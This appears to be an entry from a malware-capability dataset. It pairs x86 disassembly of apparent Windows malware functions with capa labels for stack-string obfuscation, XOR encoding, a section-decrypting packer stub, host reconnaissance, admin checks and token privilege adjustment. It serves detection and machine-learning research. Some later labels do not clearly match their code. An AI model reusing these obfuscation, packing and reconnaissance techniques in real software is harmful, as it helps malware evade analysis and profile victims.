joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402a60
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x24
push ebp
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0xc]
xor ebp, ebp
push eax
push 0x40c93c
push 1
push ebp
push 0x40c95c
mov dword [esp + 0x20], ebp
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x402a95
xor eax, eax
pop ebp
add esp, 0x24
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 8]
push 0
mov dword [esp + 0xc], 0
mov ecx, dword [eax]
push edx
push 0x40c94c
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x402b6a
lea edx, [esp + 0x14]
mov dword [esp + 4], eax
mov eax, dword [esp + 8]
push edx
lea edx, [esp + 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x402b60
push ebx
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
push esi
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x18]
push edx
push 0x40c204
mov ecx, dword [eax]
push 0
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x402b3a
lea eax, [esp + 0x20]
push eax
call esi
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x20]
push 0
push edx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x402b29
inc ebp
lea eax, [esp + 0x20]
push eax
call ebx
mov eax, dword [esp + 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
push edx
lea edx, [esp + 0x10]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x402aeb
pop esi
pop ebx
mov eax, dword [esp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, ebp
pop ebp
add esp, 0x24
ret
Function at 0x402b90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x60
mov al, 0x6c
push ebx
mov cl, 0x61
push ebp
mov byte [esp + 0x2e], al
mov byte [esp + 0x2f], al
mov byte [esp + 0x4d], al
mov byte [esp + 0x4e], al
mov byte [esp + 0x5d], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0x2b], cl
mov byte [esp + 0x55], cl
mov byte [esp + 0x60], cl
lea eax, [esp + 0x50]
push edi
lea ecx, [esp + 0x2c]
mov dl, 0x41
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x34], dl
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x36], 0x76
mov byte [esp + 0x38], 0x70
mov byte [esp + 0x39], 0x69
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x40], bl
mov byte [esp + 0x5c], dl
mov byte [esp + 0x5f], 0x6f
mov byte [esp + 0x60], 0x63
mov byte [esp + 0x62], 0x74
mov byte [esp + 0x63], 0x65
mov byte [esp + 0x64], dl
mov byte [esp + 0x65], 0x6e
mov byte [esp + 0x66], 0x64
mov byte [esp + 0x67], 0x49
mov byte [esp + 0x68], 0x6e
mov byte [esp + 0x69], 0x69
mov byte [esp + 0x6a], 0x74
mov byte [esp + 0x6b], 0x69
mov byte [esp + 0x6e], 0x69
mov byte [esp + 0x6f], 0x7a
mov byte [esp + 0x70], 0x65
mov byte [esp + 0x71], 0x53
mov byte [esp + 0x72], 0x69
mov byte [esp + 0x73], 0x64
mov byte [esp + 0x74], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
mov cl, 0x68
mov al, 0x6b
lea edx, [esp + 0x3c]
mov byte [esp + 0x3c], 0x43
mov byte [esp + 0x3d], cl
mov byte [esp + 0x3e], 0x65
mov byte [esp + 0x3f], 0x63
mov byte [esp + 0x40], al
mov byte [esp + 0x41], 0x54
mov byte [esp + 0x42], 0x6f
mov byte [esp + 0x43], al
mov byte [esp + 0x44], 0x65
mov byte [esp + 0x45], 0x6e
mov byte [esp + 0x46], 0x4d
mov byte [esp + 0x47], 0x65
mov byte [esp + 0x48], 0x6d
mov byte [esp + 0x49], 0x62
mov byte [esp + 0x4a], 0x65
mov byte [esp + 0x4b], 0x72
mov byte [esp + 0x4c], 0x73
mov byte [esp + 0x4d], cl
mov byte [esp + 0x4e], 0x69
mov byte [esp + 0x4f], 0x70
mov byte [esp + 0x50], bl
push edx
lea eax, [esp + 0x30]
push eax
call esi
push eax
call edi
lea ecx, [esp + 0x24]
lea edx, [esp + 0x2c]
push ecx
push edx
mov dword [esp + 0x20], eax
mov byte [esp + 0x2c], 0x46
mov byte [esp + 0x2d], 0x72
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x30], 0x53
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x64
mov byte [esp + 0x33], bl
call esi
push eax
call edi
mov esi, eax
lea eax, [esp + 0x10]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
lea ecx, [esp + 0x40]
push 2
push ecx
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], bl
mov byte [esp + 0x4b], bl
mov byte [esp + 0x4c], bl
mov byte [esp + 0x4d], 5
call ebp
cmp eax, ebx
mov dword [esp + 0x14], eax
je 0x402d76
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push eax
push ebx
call dword [esp + 0x24]
mov ecx, dword [esp + 0x10]
push ecx
call esi
mov eax, dword [esp + 0x14]
xor edx, edx
cmp eax, 1
pop edi
pop esi
sete dl
pop ebp
mov al, dl
pop ebx
add esp, 0x60
ret
Function at 0x402e20
Capabilities:
Contain obfuscated stackstrings
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x3d4
push esi
push edi
mov esi, dword [esp + 0x3e0]
mov ecx, 0xa5
xor eax, eax
lea edi, [esp + 0x44]
rep stosd dword es:[edi], eax
mov dword [esp + 0x34], eax
lea ecx, [esp + 0x2c]
mov dword [esp + 0x38], eax
lea edx, [esp + 0x34]
mov dword [esp + 0x3c], eax
push ecx
mov dword [esp + 0x44], eax
mov eax, dword [esi + 0x48]
push edx
push eax
mov byte [esp + 0x50], 0xc8
mov dword [esp + 0x38], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x38]
push str.Test
lea edx, [esp + 0x2dc]
push str.SYSTEMCurrentControlSetServices_s
push edx
mov dword [esp + 0x74], ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x2e4]
lea ecx, [esp + 0x78]
push eax
push 0x32
push ecx
call fcn.00402800
add esp, 0x18
lea edx, [esp + 0xa0]
mov dword [esp + 0xa0], 0x9c
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [esp + 0x28]
lea ecx, [esp + 0xa8]
push eax
lea edx, [esp + 0xa8]
push ecx
push edx
call fcn.00402840
add esp, 0xc
test eax, eax
je 0x402ee9
mov eax, dword [esp + 0x28]
mov dword [esp + 0x13c], eax
call fcn.00402890
mov ecx, dword [esp + 0x3e4]
mov dword [esp + 0x140], eax
mov dword [esp + 0x144], ecx
call fcn.00402a60
mov dword [esp + 0x148], eax
mov al, 0x65
mov byte [esp + 9], al
mov byte [esp + 0xd], al
mov byte [esp + 0x12], al
mov al, 0x41
mov byte [esp + 0x13], al
mov byte [esp + 0x18], al
mov al, 0x64
lea edx, [esp + 8]
mov byte [esp + 0x19], al
mov byte [esp + 0x21], al
mov al, 0x6c
mov cl, 0x61
mov byte [esp + 0x22], al
mov byte [esp + 0x23], al
lea eax, [esp + 0x18]
push edx
push eax
mov dword [esp + 0x38], 0x32
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x12], 0x74
mov byte [esp + 0x13], 0x55
mov byte [esp + 0x14], 0x73
mov byte [esp + 0x16], 0x72
mov byte [esp + 0x17], 0x4e
mov byte [esp + 0x18], cl
mov byte [esp + 0x19], 0x6d
mov byte [esp + 0x1c], 0
mov byte [esp + 0x22], 0x76
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x70
mov byte [esp + 0x25], 0x69
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x30]
lea edx, [esp + 0x14c]
push ecx
push edx
call eax
call fcn.00402b90
mov byte [esp + 0x17e], al
lea eax, [esp + 0x17f]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 0x284], eax
call fcn.00402d90
lea ecx, [esp + 0x288]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x44]
push 0x294
push edx
mov ecx, esi
call fcn.00401a40
pop edi
pop esi
add esp, 0x3d4
ret
Function at 0x403330
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x20]
lea ecx, [esp + 8]
push eax
mov eax, dword [esp + 0x20]
push ecx
push 0x403300
push edx
push eax
call fcn.00404780
mov ecx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x4033e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebp, eax
call fcn.00404294
add esp, 4
mov esi, eax
push esi
push ebp
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40350a
mov ecx, dword [esp + 0x34]
lea eax, [esi + 0x24]
push ecx
push eax
call fcn.004033a0
add esp, 8
test eax, eax
jne 0x403441
mov edi, dword [esi + 8]
push esi
call fcn.004039ac
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
mov al, 0x65
mov dl, 0x32
mov byte [esp + 0x24], al
mov byte [esp + 0x2a], al
mov al, 0x45
mov cl, 0x73
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov al, 0x6c
mov byte [esp + 0x28], dl
mov byte [esp + 0x17], dl
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
lea edx, [esp + 0x20]
mov byte [esp + 0x25], cl
mov byte [esp + 0x26], cl
lea eax, [esp + 0x10]
mov bl, 0x33
mov cl, 0x4e
push edx
push eax
mov byte [esp + 0x28], 0x50
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x63
mov byte [esp + 0x2f], bl
mov byte [esp + 0x31], cl
mov byte [esp + 0x33], 0x78
mov byte [esp + 0x34], 0x74
mov byte [esp + 0x35], 0
mov byte [esp + 0x18], 0x4b
mov byte [esp + 0x1a], 0x52
mov byte [esp + 0x1b], cl
mov byte [esp + 0x1d], 0x4c
mov byte [esp + 0x1e], bl
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
mov edi, eax
push ebp
call edi
test eax, eax
je 0x40350a
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov ecx, dword [esp + 0x34]
lea eax, [esi + 0x24]
push ecx
push eax
call ebx
test eax, eax
je 0x40342b
push esi
push ebp
call edi
test eax, eax
jne 0x4034ef
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.004039ac
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x403530
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.ini.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov edx, dword [esp + 0x118]
mov ecx, ebx
and ecx, 3
lea eax, [esp + 0xc]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x11c]
push eax
mov eax, dword [esp + 0x124]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x4035c0
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.ini.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov edx, dword [esp + 0x120]
mov ecx, ebx
and ecx, 3
lea eax, [esp + 0xc]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x124]
push eax
mov eax, dword [esp + 0x120]
push ecx
mov ecx, dword [esp + 0x120]
push edx
push eax
push ecx
push 0x412300
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
pop edi
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x403660
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x403680
mov dl, byte [ecx + eax]
xor dl, 0x19
add dl, 0x7a
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x40366f
pop esi
ret

Function at 0x403690
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x4036b0
mov dl, byte [ecx + eax]
sub dl, 0x7a
xor dl, 0x19
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x40369f
pop esi
ret
Function at 0x4036c0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c1e8
push 0x4048ec
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
push str.user32.dll
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebx
mov edi, eax
mov dword [ebp - 0x2c], edi
push str.GetThreadDesktop
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
push edi
call esi
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
push edi
call esi
mov dword [ebp - 0x140], eax
push str.CloseDesktop
push edi
call esi
mov dword [ebp - 0x38], eax
push str.kernel32.dll
call ebx
mov ebx, eax
mov dword [ebp - 0x30], ebx
push str.GetCurrentThreadId
push ebx
call esi
call eax
push eax
call dword [ebp - 0x3c]
mov esi, eax
mov dword [ebp - 0x28], 1
mov dword [ebp - 4], 0
lea eax, [ebp - 0x34]
push eax
push 0x100
lea ecx, [ebp - 0x13c]
push ecx
push 2
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x20]
test eax, eax
jne 0x403779
mov dword [ebp - 0x28], eax
jmp 0x403790
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x140]
test eax, eax
jne 0x40378c
mov dword [ebp - 0x28], eax
jmp 0x403790
push esi
call dword [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call fcn.004037b6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4038a0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x40390e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x403965
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x40397d
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x403988
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x34b709dc
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x3fb564f
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x4030fd
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4893c3
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x4a89e8]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [esi + 0xc]
push eax
lea ecx, [esp + 0x20]
call fcn.00402036
and dword [esp + 0x30], 0
lea eax, [ebp + 8]
push eax
lea eax, [esp + 0xc]
push eax
mov ecx, esi
call fcn.0040389e
push esi
push dword [esi + 4]
lea ecx, [esp + 0x18]
call fcn.00403faf
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0xc]
call fcn.00403dd8
test al, al
jne 0x40317e
push dword [esp + 0xc]
lea eax, [esp + 0x14]
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004034d9
lea eax, [ebp + 8]
push eax
lea eax, [esp + 0x14]
push eax
mov ecx, esi
call fcn.004037d2
lea ecx, [esp + 0x1c]
call fcn.00402069
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x4031aa
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4893c3
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x4a89e8]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [esi + 0xc]
push eax
lea ecx, [esp + 0x20]
call fcn.00402036
and dword [esp + 0x30], 0
lea eax, [ebp + 8]
push eax
lea eax, [esp + 0x10]
push eax
mov ecx, esi
call fcn.0040389e
push esi
push dword [esi + 4]
lea ecx, [esp + 0x1c]
call fcn.00403faf
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
call fcn.00403dd8
test al, al
jne 0x40322b
push dword [esp + 0x10]
lea eax, [esp + 0x18]
push dword [esp + 0x10]
mov ecx, esi
push eax
call fcn.004034d9
lea ecx, [esp + 0x1c]
call fcn.00402069
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x403247
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4893a0
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x4a89e8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [esi + 0xc]
push eax
lea ecx, [esp + 0x28]
call fcn.00402036
and dword [esp + 0x38], 0
lea edi, [ebp + 8]
lea ebx, [esp + 0x10]
call fcn.00403758
push esi
push dword [esi + 4]
lea ecx, [esp + 0x20]
call fcn.00403faf
lea eax, [esp + 0x18]
push eax
mov ecx, ebx
call fcn.00403dd8
test al, al
jne 0x4032c4
push dword [esp + 0x14]
lea eax, [esp + 0x1c]
push dword [esp + 0x14]
mov ecx, esi
push eax
call fcn.004034d9
lea eax, [ebp + 8]
push eax
lea edi, [esp + 0x1c]
mov ebx, esi
call fcn.00403421
lea ecx, [esp + 0x24]
call fcn.00402069
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4032f1
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x48937d
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x4a89e8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [esi + 0xc]
push eax
lea ecx, [esp + 0x1c]
call fcn.00402036
and dword [esp + 0x38], 0
push esi
lea ecx, [esp + 0x24]
call fcn.004033e1
mov byte [esp + 0x38], 1
mov eax, dword [esp + 0x24]
mov eax, dword [eax]
lea ecx, [esp + 0x20]
push ecx
push eax
lea ecx, [esp + 0x10]
call fcn.00403faf
jmp 0x403372
lea ecx, [esp + 8]
call fcn.00403db2
mov edx, dword [ebp + 8]
mov ecx, dword [eax]
push dword [edx]
mov eax, dword [ecx]
call dword [eax]
lea ecx, [esp + 8]
call fcn.00404039
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x28]
lea ecx, [esp + 0x18]
call fcn.00403faf
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0xc]
call fcn.00403dd8
test al, al
je 0x403355
lea ecx, [esp + 0x20]
mov byte [esp + 0x38], 0
call fcn.00403ae2
lea ecx, [esp + 0x18]
call fcn.00402069
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x405d80
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x482c33
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x4a89e8]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov edi, ecx
mov dword [esp + 0xc], edi
mov dword [edi], 0x48a990
mov dword [esp + 0x20], 1
call fcn.00405520
mov eax, dword [edi + 0x30]
mov ecx, dword [eax]
lea esi, [edi + 0x2c]
push eax
push esi
push ecx
push esi
lea eax, [esp + 0x20]
push eax
mov ecx, esi
mov byte [esp + 0x34], 0
call fcn.0040b0a0
mov eax, dword [esi + 4]
push eax
call fcn.0047ff4e
add esp, 4
mov ecx, edi
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esp + 0x20], 0xffffffff
call fcn.0046bf70
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x18
ret

Function at 0x4069c0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x482f32
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x4a89e8]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov edi, ecx
mov dword [esp + 0xc], edi
mov dword [edi], 0x48a9f4
mov dword [esp + 0x20], 2
call fcn.0046c8d0
mov eax, dword [edi + 0x30]
mov ecx, dword [eax]
lea esi, [edi + 0x2c]
push eax
push esi
push ecx
push esi
lea eax, [esp + 0x20]
push eax
mov ecx, esi
mov byte [esp + 0x34], 1
call fcn.0040b0a0
mov eax, dword [esi + 4]
push eax
call fcn.0047ff4e
xor ecx, ecx
mov dword [esi + 4], ecx
mov dword [esi + 8], ecx
mov eax, dword [edi + 0x28]
add esp, 4
cmp eax, ecx
je 0x406a3f
push eax
call fcn.00415203
add esp, 4
lea ecx, [edi + 0xc]
mov dword [esp + 0x20], 0xffffffff
call dword [0x48a314]
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x18
ret
Function at 0x4279dd
Capabilities:
Access peb ldr_data

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push fcn.0046b786
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
push ebx
push edi
mov eax, dword [0x47c144]
xor eax, esp
push eax
lea eax, [esp + 0x48]
mov dword fs:[0], eax
lea eax, [esp + 0xc]
push eax
xor edi, edi
call fcn.0042a69b
mov dword [esp + 0x50], 1
lea eax, [esi + 0x4c]
mov dword [esp + 0xc], 0x40dbdc
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], 4
mov dword [esp + 0x3c], edi
mov dword [esp + 0x40], edi
mov dword [esp + 0x34], 0xa
mov dword [esp + 0x38], edi
mov dword [esp + 0x50], 2
mov eax, dword [esi + 0x40]
cmp dword [eax], edi
je 0x427a65
push dword [eax]
lea ebx, [esp + 0x10]
call fcn.004295e5
mov edi, eax
or dword [esp + 0x50], 0xffffffff
lea eax, [esp + 0xc]
push eax
call fcn.0042a6c3
mov eax, edi
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret